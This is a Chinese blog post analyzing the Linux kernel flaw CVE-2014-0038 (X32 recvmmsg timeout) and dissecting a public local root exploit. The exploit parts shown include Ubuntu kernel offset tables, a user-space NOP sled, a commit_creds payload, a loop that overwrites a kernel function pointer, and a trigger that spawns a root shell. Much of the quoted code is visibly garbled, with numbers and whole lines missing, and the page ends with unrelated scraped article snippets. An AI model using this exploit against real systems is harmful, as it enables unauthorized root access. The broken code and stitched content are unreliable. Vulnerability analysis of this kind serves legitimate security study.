关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vulnerability

简介

2014年1月31号时,solar在oss-sec邮件列表里公布了该CVE(cve-2014-0038)。这个CVE涉及到X32 ABI。X32 ABI在内核linux3.4中被合并进来,但RHEL/fedora等发行版并没有开启该编译选项,因此未受该CVE影响。Ubuntu系统在近期的版本中开启了该选项,因此收该CVE影响。X32 ABI就是在64位环境中使用32位地址,效率有所提升,相关信息请参照参考资料或google。

漏洞原理

先看该CVE对应的patch

  1. #!c++
  2. diff --git a/net/compat.c b/net/compat.c
  3. index dd32e34..f50161f
  4. --- a/net/compat.c
  5. +++ b/net/compat.c
  6. @@ -, +, @@ asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
  7. if (flags & MSG_CMSG_COMPAT)
  8. return -EINVAL;
  9.  
  10. - if (COMPAT_USE_64BIT_TIME)
  11. - return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
  12. - flags | MSG_CMSG_COMPAT,
  13. - (struct timespec *) timeout);
  14. -
  15. if (timeout == NULL)
  16. return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
  17. flags | MSG_CMSG_COMPAT, NULL);
  18.  
  19. - if (get_compat_timespec(&ktspec, timeout))
  20. + if (compat_get_timespec(&ktspec, timeout))
  21. return -EFAULT;
  22.  
  23. datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
  24. flags | MSG_CMSG_COMPAT, &ktspec);
  25. - && put_compat_timespec(&ktspec, timeout))
  26. + && compat_put_timespec(&ktspec, timeout))
  27. datagrams = -EFAULT;
  28.  
  29. return datagrams;

该CVE引入的原因就是没有对用户空间的输入信息进行拷贝处理,直接将用户空间输入的timeout指针传递给__sys_recvmmsg函数进行处理。

正如patch中的修改方式,当timeout参数非空时,调用compat_get_timespec先对timetout进行处理,而该函数会对用户空间的timeout进行copy处理。

  1. #!c++
  2. int compat_get_timespec(struct timespec *ts, const void __user *uts)
  3. {
  4. if (COMPAT_USE_64BIT_TIME)
  5. ;
  6. else
  7. return get_compat_timespec(ts, uts);
  8. }

那么我们再来看传递进来的timeout会进行什么操作呢?在 __sys_recvmmsg里面。

  1. #!c++
  2. /*
  3. * Linux recvmmsg interface
  4. */
  5.  
  6. int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,
  7. unsigned int flags, struct timespec *timeout)
  8. {
  9. int fput_needed, err, datagrams;
  10. struct socket *sock;
  11. struct mmsghdr __user *entry;
  12. struct compat_mmsghdr __user *compat_entry;
  13. struct msghdr msg_sys;
  14. struct timespec end_time;
  15.  
  16. if (timeout &&
  17. poll_select_set_timeout(&end_time, timeout->tv_sec,
  18. timeout->tv_nsec))
  19. return -EINVAL;
  20.  
  21. datagrams = ;
  22.  
  23. sock = sockfd_lookup_light(fd, &err, &fput_needed);
  24. if (!sock)
  25. return err;
  26.  
  27. err = sock_error(sock->sk);
  28. if (err)
  29. goto out_put;
  30.  
  31. entry = mmsg;
  32. compat_entry = (struct compat_mmsghdr __user *)mmsg;
  33.  
  34. while (datagrams < vlen) {
  35. /*
  36. * No need to ask LSM for more than the first datagram.
  37. */
  38. if (MSG_CMSG_COMPAT & flags) {
  39. err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry,
  40. &msg_sys, flags & ~MSG_WAITFORONE,
  41. datagrams);
  42. )
  43. break;
  44. err = __put_user(err, &compat_entry->msg_len);
  45. ++compat_entry;
  46. } else {
  47. err = ___sys_recvmsg(sock,
  48. (struct msghdr __user *)entry,
  49. &msg_sys, flags & ~MSG_WAITFORONE,
  50. datagrams);
  51. )
  52. break;
  53. err = put_user(err, &entry->msg_len);
  54. ++entry;
  55. }
  56.  
  57. if (err)
  58. break;
  59. ++datagrams;
  60.  
  61. /* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */
  62. if (flags & MSG_WAITFORONE)
  63. flags |= MSG_DONTWAIT;
  64.  
  65. if (timeout) {
  66. ktime_get_ts(timeout);
  67. *timeout = timespec_sub(end_time, *timeout);
  68. ) {
  69. timeout->tv_sec = timeout->tv_nsec = ;
  70. break;
  71. }
  72.  
  73. /* Timeout, return less than vlen datagrams */
  74. && timeout->tv_sec == )
  75. break;
  76. }
  77.  
  78. /* Out of band data, return right away */
  79. if (msg_sys.msg_flags & MSG_OOB)
  80. break;
  81. }
  82.  
  83. out_put:
  84. fput_light(sock->file, fput_needed);
  85.  
  86. )
  87. return datagrams;
  88.  
  89. ) {
  90. /*
  91. * We may return less entries than requested (vlen) if the
  92. * sock is non block and there aren't enough datagrams...
  93. */
  94. if (err != -EAGAIN) {
  95. /*
  96. * ... or if recvmsg returns an error after we
  97. * received some datagrams, where we record the
  98. * error to return on the next call or if the
  99. * app asks about it using getsockopt(SO_ERROR).
  100. */
  101. sock->sk->sk_err = -err;
  102. }
  103.  
  104. return datagrams;
  105. }
  106.  
  107. return err;
  108. }

该函数中对

  1.   #!c++ poll_select_set_timeout(&end_time, timeout-> timeout->tv_nsec)) 

。设定结束时间。 然后如下的代码保证timeout>=0

  1. #!c++
  2. if (timeout) {
  3. ktime_get_ts(timeout);
  4. *timeout = timespec_sub(end_time, *timeout);
  5. ) {
  6. timeout->tv_sec = timeout->tv_nsec = ;
  7. break;
  8. }
  9.  
  10. /* Timeout, return less than vlen datagrams */
  11. && timeout->tv_sec == )
  12. break;
  13. }

此外,poll_select_set_timeout会对timespec进行检查,因此传递进来的timeout的tv_sec与tv_nsec必须符合timeout结构体,也就是构造利用地址的时候,地址上下文必须符合特定内容。

  1. #!c++
  2. /*
  3. * Returns true if the timespec is norm, false if denorm:
  4. */
  5. static inline bool timespec_valid(const struct timespec *ts)
  6. {
  7. /* Dates before 1970 are bogus */
  8. )
  9. return false;
  10. /* Can't have more nanoseconds then a second */
  11. if ((unsigned long)ts->tv_nsec >= NSEC_PER_SEC)
  12. return false;
  13. return true;
  14. }

而 include/linux/time.h中的定义:#define NSEC_PER_SEC 1000000000L

到这里我们知道,只要巧妙的利用timeout的这个特定,构造特定的timeout结构体就可以构造一个特定的地址出来,这样我们就实现提权操作了。

利用代码分析

当前在exploit-db上有2个利用代码,利用原理基本相同,只是选用的构造地址的结构体不同,本文选用http://www.exploit-db.com/exploits/31347/中的exploit代码进行分析。

本exploit代码和其他很多内核提权代码利用方式大致相同,通过使用有漏洞的系统调用将一个特定的内核函数地址修改成用户空间地址,然后将提权代码映射到对应地址的用户空间中,这样当用户调用被修改的特定函数时,内核便执行了相关的提权代码。以下对应该利用代码进行详细说明。

大家都知道,在64位系统中,由于地址较多,内核空间和用户空间只需通过高几位是否为0或1进行区分,内核空间地址的范围是0xffff ffff ffff ffff~0xffff 8000 0000 0000,而用户空间的地址范围是0x0000 7ffff ffff ffff~0x0000 0000 0000 0000。因此只需使用timeout的流程将高位的1变成0即可。

该exploit代码使用net_sysctl_root结构体的net_ctl_permissions函数指针进行利用。由于各个内核版本中不同函数对应的地址不同,因此定义了一个结构体存放各个内核内核版本的函数地址,这样就可以在多个写了特定内核地址的内核上完成提权操作。

  1. #!c++
  2. struct offset {
  3. char *kernel_version;
  4. unsigned long dest; // net_sysctl_root + 96
  5. unsigned long original_value; // net_ctl_permissions
  6. unsigned long prepare_kernel_cred;
  7. unsigned long commit_creds;
  8. };
  9.  
  10. struct offset offsets[] = {
  11. {,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
  12. {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
  13. {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
  14. {NULL,,,,}
  15. };

Exploit程序开始就使用该函数映射结构体对当前内核进行检查,获取出要使用的函数地址指针offsets[i]

然后使用net_ctl_permissons的地址进行页对齐,之后将高6*4位变成0,即设定为用户空间地址。

  1.   #!c++ mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - mmapped &= 0x000000ffffffffff; 

之后以该地址为基址map一段内存空间,设定该map区域可写、可执行。先用0x90填充该map区域,构造滑梯。然后将提权代码拷贝到该map区域。

  1. #!c++
  2. mmapped = (, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, , );
  3.  
  4. ) {
  5. perror("mmap()");
  6. exit(-);
  7. }
  8.  
  9. memset(();
  10.  
  11. memcpy(();
  12.  
  13. , PROT_READ|PROT_EXEC) != ) {
  14. perror("mprotect()");
  15. exit(-);

提权代码是非常传统的内核提权代码,通过调用commit_creds修改进程creds数据结构。注意commit_credsprepare_kernel_cred也是由特定于内核版本的内核地址信息获得,因此也包含在offset结构体中,需要依据特定的内核版本进行设定。

  1. #!c++
  2. )))
  3. getroot(void *head, void * table)
  4. {
  5. commit_creds(prepare_kernel_cred());
  6. ;
  7. }
  8.  
  9. )))
  10. trampoline()
  11. {
  12. asm("mov $getroot, %rax; call *%rax;");
  13. }

准备环境已经就绪,接下来就需要调用有漏洞的__NR_recvmmsg来进行地址修改。即修改net_sysctl_rootpermissions指针的数值。

  1. #!c++
  2. static struct ctl_table_root net_sysctl_root = {
  3. .lookup = net_ctl_header_lookup,
  4. .permissions = net_ctl_permissions,
  5. };

而ctl_table_root的定义为:

  1. #!c++
  2. struct ctl_table_root {
  3. struct ctl_table_set default_set;
  4. struct ctl_table_set *(*lookup)(struct ctl_table_root *root,
  5. struct nsproxy *namespaces);
  6. int (*permissions)(struct ctl_table_header *head, struct ctl_table *table);
  7. };

通过计算ctl_table_root可知:Permissions的位置为net_sysctl_root+96

这样依次使用系统调用的timeout将.permissions的值的高6*4位从之前的1修改为0即可。

  1. #!c++
  2. ;i < ;i++) {
  3. udp(i);
  4. retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, , (-i);
  5. if(!retval) {
  6. fprintf(stderr,"\nrecvmmsg() failed\n");
  7. }
  8. }

通过使用三次该系统调用,依次将0xFF** **** **** ****,0x00FF **** **** ****, 0x0000 FF** **** ****FF修改为00.

执行完毕后,提权程序成功将permissions指向了填充了提权代码的用户空间中。注意:这里必须从高位开始处理,由于各个程序是并行处理的,因此无法准确的保证timeout值和sleep值完全匹配,又由于timeout值的tv_sec>=0,因此只要从高位依次处理就可以避免借位的情况发生。这里也是结构体选取的条件之一。

由于0xff*3 = 765,因此该提权程序需要13分钟才能将permissions指向的地址值变成用户空间的地址值。

万事具备,只欠东风。只要用户调用修改后的net_sysctl_root->permissions即可。

  1. #!c++
  2. void trigger() {
  3. open("/proc/sys/net/core/somaxconn",O_RDONLY);
  4.  
  5. ) {
  6. fprintf(stderr,"not root, ya blew it!\n");
  7. exit(-);
  8. }
  9.  
  10. fprintf(stderr,"w00p w00p!\n");
  11. system("/bin/sh -i");
  12. }

到此,该CVE分析完毕。不得不说该CVE的原理虽然比较简单,但实现最后利用修过的手法还是非常巧妙的,值得学习。

参考

1、http://en.wikipedia.org/wiki/X32_ABI

CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0的更多相关文章

  1. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  2. RHSA-2017:2930-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  3. RHSA-2017:1842-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  4. RHSA-2018:0395-重要: 内核 安全和BUG修复更新(需要重启、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  5. RHSA-2017:2299-中危: NetworkManager 和 libnl3 安全和BUG修复更新(本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  6. CVE-2017-16995 Ubuntu16.04本地提权漏洞复现

    0x01 前言 该漏洞由Google project zero发现.据悉,该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意 ...

  7. Potato家族本地提权分析

    原文来自SecIN社区-作者:Zeva 0x00 前言 在实际渗透中,我们用到最多的就是Potato家族的提权.本文着重研究Potato家族的提权原理以及本地提权细节 0x01 原理讲解 1.利用Po ...

  8. Linux Kernel ‘perf’ Utility 本地提权漏洞

    漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...

  9. Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞

    漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...

随机推荐

  1. 在React中使用CSS Modules设置样式

    最近,一直在看React...那真的是一个一直在学的过程啊,从配置环境webpack,到基础知识jsx,babel,es6,没有一个不是之前没有接触的.其实,我内心是兴奋的啊,毕竟,活着就是要接触一些 ...

  2. Git 入门和常用命令详解

    git 使用使用教程   git 使用简易指南  常用 Git 命令清单 下载   https://git-scm.com/downloads 工作流 本地仓库由三部分组成. 工作区:保存实际的文件( ...

  3. Unity 3D Framework Designing(8)——使用ServiceLocator实现对象的注入

    对象的 『注入』 是企业级软件开发经常听到的术语.如果你是一个 Java 程序员,一定对注入有着深刻的映像.不管是SSH框架还是SSM框架,Spring 全家桶永远是绕不过去的弯.通过依赖注入,可以有 ...

  4. iOS中书写代码规范35条小建议

    1.精简代码, 返回最后一句的值,这个方法有一个优点,所有的变量都在代码块中,也就是只在代码块的区域中有效,这意味着可以减少对其他作用域的命名污染.但缺点是可读性比较差 NSURL *url = ({ ...

  5. 老李推荐:第14章4节《MonkeyRunner源码剖析》 HierarchyViewer实现原理-装备ViewServer-端口转发 3

    formAdbRequest我们在之前已经分析过,做的事情就是组建好ADB协议的命令以待发送给ADB服务器,在我们558行中最终组建好的ADB协议命令将会如下: “host-serial:xxx:fo ...

  6. 4.在浏览器中解析XML

    要在浏览器中解析获取XML数据,一般只需经过两个步骤:第一,将XML文档.XML字符串转化成XMLDoc对象.第二,使用JS操作XMLDoc对象. 3.1 将XML文档或XML字符串转化成XMLDoc ...

  7. WPF自定义控件(2)——图表设计[1]

    0.小叙闲言 除了仪表盘控件比较常用外,还有图表也经常使用,同样网上也有非常强大的图表控件,有收费的(DEVexpress),也有免费的.但我们平时在使用时,只想简单地绘一个图,控件库里面的许多功能我 ...

  8. 淘宝内部分享:怎么跳出MySQL的10个大坑

    编者按:淘宝自从2010开始规模使用MySQL,替换了之前商品.交易.用户等原基于IOE方案的核心数据库,目前已部署数千台规模.同时和Oracle, Percona, Mariadb等上游厂商有良好合 ...

  9. Cesium之球心坐标与本地坐标

    1球心坐标(ECEF)与本地坐标(NEU) 假如你来到一个陌生城市,你很可能需要问路.通常会告诉你向北走100米,右转,向东走100米,理解起来很直观.你给儿子买了一个地球仪,你从北京(39,115) ...

  10. java 基础知识三 java变量

    java  基础知识 三 变量 1.作用域 {} 包围起来的代码 称之为代码块,在块中声明的变量只能在块中使用 2.常量 就是固定不变的量,一旦被定义,它的值就不能再被改变. 3.变量 变量必须在程序 ...